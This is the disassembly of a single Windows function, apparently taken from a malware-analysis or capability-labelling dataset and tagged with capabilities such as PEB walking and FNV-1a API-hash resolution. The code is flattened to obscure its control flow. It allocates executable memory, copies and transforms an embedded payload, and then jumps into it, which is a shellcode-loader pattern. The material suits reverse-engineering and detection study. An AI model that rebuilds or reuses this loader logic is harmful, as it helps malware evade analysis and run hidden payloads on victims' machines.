Function at 0x1800018c0
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x3ad18
call fcn.180010600
sub rsp, rax
mov rax, qword [0x180026790]
xor rax, rsp
mov qword [rsp + 0x3ad10], rax
mov dword [rsp + 0x84], 0
mov dword [rsp + 0x74], 0xe9cf16de
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cmp eax, 0xd52ebb7
jl 0x180001963
mov eax, dword [rsp + 0x70]
cmp eax, 0x1f88c432
jl 0x18000194f
mov eax, dword [rsp + 0x70]
cmp eax, 0x450ea642
jl 0x18000193b
mov eax, dword [rsp + 0x70]
cmp eax, 0x450ea642
je 0x180001a07
jmp 0x1800019b8
mov eax, dword [rsp + 0x70]
cmp eax, 0x1f88c432
je 0x1800019e0
jmp 0x1800019b8
mov eax, dword [rsp + 0x70]
cmp eax, 0xd52ebb7
je 0x180001a2d
jmp 0x1800019b8
mov eax, dword [rsp + 0x70]
cmp eax, 0xe9cf16de
jl 0x1800019a9
mov eax, dword [rsp + 0x70]
cmp eax, 0xf5289e0c
jl 0x180001995
mov eax, dword [rsp + 0x70]
cmp eax, 0xf5289e0c
je 0x1800020dc
jmp 0x1800019b8
mov eax, dword [rsp + 0x70]
cmp eax, 0xe9cf16de
je 0x1800019c2
jmp 0x1800019b8
mov eax, dword [rsp + 0x70]
cmp eax, 0xbb2589f5
je 0x1800020e1
jmp 0x1800019bd
jmp 0x180002775
mov eax, 0xd52ebb7
mov ecx, 0x1f88c432
cmp dword [rsp + 0x84], 0x64
cmovl eax, ecx
mov dword [rsp + 0x74], eax
jmp 0x180002775
lea rdx, [rsp + 0x390]
mov ecx, dword [rsp + 0x84]
mov r8d, 0xea60
call fcn.180001440
mov dword [rsp + 0x74], 0x450ea642
jmp 0x180002775
mov eax, dword [rsp + 0x84]
xor ecx, ecx
sub ecx, eax
add ecx, 0xffffffff
xor eax, eax
sub eax, ecx
mov dword [rsp + 0x84], eax
mov dword [rsp + 0x74], 0xe9cf16de
jmp 0x180002775
lea rcx, [rsp + 0x220]
call fcn.1800011a0
mov dword [rsp + 0x214], 0x40
mov dword [rsp + 0x210], 0x3000
mov qword [rsp + 0x208], 0x1750
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0x214]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x208]
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x218]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov dword [rsp + 0xb0], 0xdd093674
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x6c], eax
cmp eax, 0xfb9406af
jl 0x180001bc8
mov eax, dword [rsp + 0x6c]
cmp eax, 0x50009d0d
jl 0x180001b6e
mov eax, dword [rsp + 0x6c]
cmp eax, 0x6d27cd37
jl 0x180001b5a
mov eax, dword [rsp + 0x6c]
cmp eax, 0x6e8db67c
jl 0x180001b46
mov eax, dword [rsp + 0x6c]
cmp eax, 0x6e8db67c
je 0x180001d61
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0x6d27cd37
je 0x180001f33
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0x50009d0d
je 0x180001fd1
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0x6312cc4
jl 0x180001bb4
mov eax, dword [rsp + 0x6c]
cmp eax, 0x1e9ecffc
jl 0x180001ba0
mov eax, dword [rsp + 0x6c]
cmp eax, 0x1e9ecffc
je 0x18000204e
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0x6312cc4
je 0x180001fc1
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0xfb9406af
je 0x180001fe1
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0xb0cdcf2c
jl 0x180001c31
mov eax, dword [rsp + 0x6c]
cmp eax, 0xcdf9e3fd
jl 0x180001c1d
mov eax, dword [rsp + 0x6c]
cmp eax, 0xdd093674
jl 0x180001c09
mov eax, dword [rsp + 0x6c]
cmp eax, 0xdd093674
je 0x180001c68
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0xcdf9e3fd
je 0x180001d9a
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0xb0cdcf2c
je 0x180001ff1
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0xa2a3ffd3
jl 0x180001c54
mov eax, dword [rsp + 0x6c]
cmp eax, 0xa2a3ffd3
je 0x180002032
jmp 0x180001c63
mov eax, dword [rsp + 0x6c]
cmp eax, 0x9e3c610e
je 0x180001d2b
jmp 0x180002049
mov rax, qword [rsp + 0x250]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x138]
mov qword [rsp + 0x140], rcx
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x140]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x258], rcx
mov rcx, qword [rsp + 0x138]
mov edx, dword [rsp + 0x258]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x25c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x238]
mov qword [rsp + 0x128], rax
mov r8, qword [rsp + 0x128]
mov rdx, qword [r8 + 8]
mov eax, 0xfb9406af
mov ecx, 0x9e3c610e
cmp rdx, qword [r8]
cmovne eax, ecx
mov dword [rsp + 0xb0], eax
jmp 0x180002049
lea rax, [rsp + 0x238]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xb4], eax
mov dword [rsp + 0xb0], 0x6e8db67c
jmp 0x180002049
mov edx, dword [rsp + 0xb4]
mov eax, edx
add eax, 0x9d44d9f5
add eax, 0xffffffff
sub eax, 0x9d44d9f5
mov dword [rsp + 0xb4], eax
mov eax, 0x50009d0d
mov ecx, 0xcdf9e3fd
cmp edx, 0
cmovne eax, ecx
mov dword [rsp + 0xb0], eax
jmp 0x180002049
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x11c], eax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
mov rax, qword [rdx]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 0x20]
add rcx, rdx
mov edx, dword [rsp + 0x11c]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x100], rax
mov dword [rsp + 0xfc], 0x811c9dc5
mov dword [rsp + 0xf4], 0x7a610fac
mov eax, dword [rsp + 0xf4]
mov dword [rsp + 0x68], eax
cmp eax, 0xdef6e435
jl 0x180001e48
mov eax, dword [rsp + 0x68]
cmp eax, 0x7a610fac
jl 0x180001e34
mov eax, dword [rsp + 0x68]
cmp eax, 0x7a610fac
je 0x180001e5c
jmp 0x180001e57
mov eax, dword [rsp + 0x68]
cmp eax, 0xdef6e435
je 0x180001f0f
jmp 0x180001e57
mov eax, dword [rsp + 0x68]
cmp eax, 0x93f1ea95
je 0x180001e9d
jmp 0x180001f0a
mov rax, qword [rsp + 0x100]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x100], rcx
mov al, byte [rax]
mov byte [rsp + 0xfb], al
mov eax, 0xdef6e435
mov ecx, 0x93f1ea95
cmp byte [rsp + 0xfb], 0
cmovne eax, ecx
mov dword [rsp + 0xf4], eax
jmp 0x180001f0a
mov cl, byte [rsp + 0xfb]
mov eax, dword [rsp + 0xfc]
mov byte [rsp + 0x10f], cl
mov dword [rsp + 0x108], eax
mov ecx, dword [rsp + 0x108]
movsx edx, byte [rsp + 0x10f]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x692d3eac
and ecx, 0x96d2c153
or eax, ecx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x692d3eac
and edx, 0x96d2c153
or ecx, edx
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xfc], eax
mov dword [rsp + 0xf4], 0x7a610fac
jmp 0x180001dfb
mov eax, 0x6312cc4
mov ecx, 0x6d27cd37
cmp dword [rsp + 0xfc], 0x3285501
cmove eax, ecx
mov dword [rsp + 0xb0], eax
jmp 0x180002049
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0xf0], eax
lea rax, [rsp + 0x238]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xe0], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xd8], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xd8]
mov r8d, dword [rsp + 0xf0]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0xb0], 0x1e9ecffc
jmp 0x180002049
mov dword [rsp + 0xb0], 0x6e8db67c
jmp 0x180002049
mov dword [rsp + 0xb0], 0xfb9406af
jmp 0x180002049
mov dword [rsp + 0xb0], 0xb0cdcf2c
jmp 0x180002049
lea rax, [rsp + 0x250]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rax]
mov qword [rsp + 0xd0], rcx
mov rcx, qword [rsp + 0xd0]
mov rcx, qword [rcx]
mov qword [rax], rcx
mov dword [rsp + 0xb0], 0xdd093674
jmp 0x180002049
mov qword [rsp + 0xb8], 0
mov dword [rsp + 0xb0], 0x1e9ecffc
jmp 0x180001aef
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xa8]
call fcn.180001370
mov eax, dword [rax]
mov dword [rsp + 0x5c], eax
mov rcx, qword [rsp + 0xa0]
call fcn.180001370
mov eax, dword [rax]
mov dword [rsp + 0x58], eax
mov rcx, qword [rsp + 0x98]
call fcn.180001370
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x90]
call fcn.180001370
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
mov r9d, dword [rsp + 0x5c]
mov rax, qword [rsp + 0x60]
xor ecx, ecx
call rax
mov qword [rsp + 0x78], rax
mov eax, 0xbb2589f5
mov ecx, 0xf5289e0c
cmp qword [rsp + 0x78], 0
cmove eax, ecx
mov dword [rsp + 0x74], eax
jmp 0x180002775
call fcn.180012968
mov rcx, qword [rsp + 0x78]
lea rdx, section..data
mov r8d, 0x1750
call fcn.180011940
mov ecx, dword [rsp + 0x84]
lea rdx, [rsp + 0x390]
mov r8d, 0xea60
call fcn.180001440
lea rcx, [rsp + 0x220]
mov qword [rsp + 0x38], rcx
call fcn.180002aa0
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x44], eax
call fcn.180002af0
mov r8d, dword [rsp + 0x44]
mov rdx, rax
lea rcx, [rsp + 0x288]
mov qword [rsp + 0x48], rcx
call fcn.180002780
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x78]
mov r8d, 0x1750
call fcn.180002b20
mov rax, qword [rsp + 0x78]
call rax
mov dword [rsp + 0x1f4], 0
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x278]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov dword [rsp + 0x158], 0xfff2a60d
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x34], eax
cmp eax, 0x1ba24c49
jl 0x1800022a3
mov eax, dword [rsp + 0x34]
cmp eax, 0x33c7f619
jl 0x180002249
mov eax, dword [rsp + 0x34]
cmp eax, 0x372f648c
jl 0x180002235
mov eax, dword [rsp + 0x34]
cmp eax, 0x618169a0
jl 0x180002221
mov eax, dword [rsp + 0x34]
cmp eax, 0x618169a0
je 0x1800026ac
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0x372f648c
je 0x18000243c
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0x33c7f619
je 0x180002406
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0x20f78d5a
jl 0x18000228f
mov eax, dword [rsp + 0x34]
cmp eax, 0x2d050238
jl 0x18000227b
mov eax, dword [rsp + 0x34]
cmp eax, 0x2d050238
je 0x18000270d
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0x20f78d5a
je 0x1800026bc
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0x1ba24c49
je 0x18000269c
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0xfb96e33a
jl 0x18000230c
mov eax, dword [rsp + 0x34]
cmp eax, 0xfff2a60d
jl 0x1800022f8
mov eax, dword [rsp + 0x34]
cmp eax, 0x3170f9e
jl 0x1800022e4
mov eax, dword [rsp + 0x34]
cmp eax, 0x3170f9e
je 0x18000260e
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0xfff2a60d
je 0x180002343
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0xfb96e33a
je 0x1800026cc
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0xf354d86a
jl 0x18000232f
mov eax, dword [rsp + 0x34]
cmp eax, 0xf354d86a
je 0x180002729
jmp 0x18000233e
mov eax, dword [rsp + 0x34]
cmp eax, 0xf1368557
je 0x180002475
jmp 0x180002724
mov rax, qword [rsp + 0x278]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1e0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x1e0]
mov qword [rsp + 0x1e8], rcx
mov rcx, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1e8]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x280], rcx
mov rcx, qword [rsp + 0x1e0]
mov edx, dword [rsp + 0x280]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x284]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x260]
mov qword [rsp + 0x1d0], rax
mov r8, qword [rsp + 0x1d0]
mov rdx, qword [r8 + 8]
mov eax, 0x20f78d5a
mov ecx, 0x33c7f619
cmp rdx, qword [r8]
cmovne eax, ecx
mov dword [rsp + 0x158], eax
jmp 0x180002724
lea rax, [rsp + 0x260]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x1c8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x15c], eax
mov dword [rsp + 0x158], 0x372f648c
jmp 0x180002724
mov edx, dword [rsp + 0x15c]
mov eax, edx
sub eax, 0xe94375cb
add eax, 0xffffffff
add eax, 0xe94375cb
mov dword [rsp + 0x15c], eax
mov eax, 0x618169a0
mov ecx, 0xf1368557
cmp edx, 0
cmovne eax, ecx
mov dword [rsp + 0x158], eax
jmp 0x180002724
mov eax, dword [rsp + 0x15c]
mov dword [rsp + 0x1c4], eax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x1b8], rax
mov rdx, qword [rsp + 0x1b8]
mov rax, qword [rdx]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 0x20]
add rcx, rdx
mov edx, dword [rsp + 0x1c4]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0x1a4], 0x811c9dc5
mov dword [rsp + 0x19c], 0x7a610fac
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x30], eax
cmp eax, 0xdef6e435
jl 0x180002523
mov eax, dword [rsp + 0x30]
cmp eax, 0x7a610fac
jl 0x18000250f
mov eax, dword [rsp + 0x30]
cmp eax, 0x7a610fac
je 0x180002537
jmp 0x180002532
mov eax, dword [rsp + 0x30]
cmp eax, 0xdef6e435
je 0x1800025ea
jmp 0x180002532
mov eax, dword [rsp + 0x30]
cmp eax, 0x93f1ea95
je 0x180002578
jmp 0x1800025e5
mov rax, qword [rsp + 0x1a8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x1a8], rcx
mov al, byte [rax]
mov byte [rsp + 0x1a3], al
mov eax, 0xdef6e435
mov ecx, 0x93f1ea95
cmp byte [rsp + 0x1a3], 0
cmovne eax, ecx
mov dword [rsp + 0x19c], eax
jmp 0x1800025e5
mov cl, byte [rsp + 0x1a3]
mov eax, dword [rsp + 0x1a4]
mov byte [rsp + 0x1b7], cl
mov dword [rsp + 0x1b0], eax
mov ecx, dword [rsp + 0x1b0]
movsx edx, byte [rsp + 0x1b7]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x692d3eac
and ecx, 0x96d2c153
or eax, ecx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x692d3eac
and edx, 0x96d2c153
or ecx, edx
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x1a4], eax
mov dword [rsp + 0x19c], 0x7a610fac
jmp 0x1800024d6
mov eax, 0x1ba24c49
mov ecx, 0x3170f9e
cmp dword [rsp + 0x1a4], 0x8cccc587
cmove eax, ecx
mov dword [rsp + 0x158], eax
jmp 0x180002724
mov eax, dword [rsp + 0x15c]
mov dword [rsp + 0x198], eax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x188], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x180], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x180]
mov r8d, dword [rsp + 0x198]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x158], 0xf354d86a
jmp 0x180002724
mov dword [rsp + 0x158], 0x372f648c
jmp 0x180002724
mov dword [rsp + 0x158], 0x20f78d5a
jmp 0x180002724
mov dword [rsp + 0x158], 0xfb96e33a
jmp 0x180002724
lea rax, [rsp + 0x278]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov rcx, qword [rax]
mov qword [rsp + 0x178], rcx
mov rcx, qword [rsp + 0x178]
mov rcx, qword [rcx]
mov qword [rax], rcx
mov dword [rsp + 0x158], 0xfff2a60d
jmp 0x180002724
mov qword [rsp + 0x160], 0
mov dword [rsp + 0x158], 0xf354d86a
jmp 0x1800021ca
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x150]
call fcn.180001370
mov rcx, rax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rcx]
call rax
lea rcx, [rsp + 0x220]
call fcn.180001420
mov rcx, qword [rsp + 0x3ad10]
xor rcx, rsp
call fcn.1800105c0
nop
add rsp, 0x3ad18
ret
jmp 0x1800018f2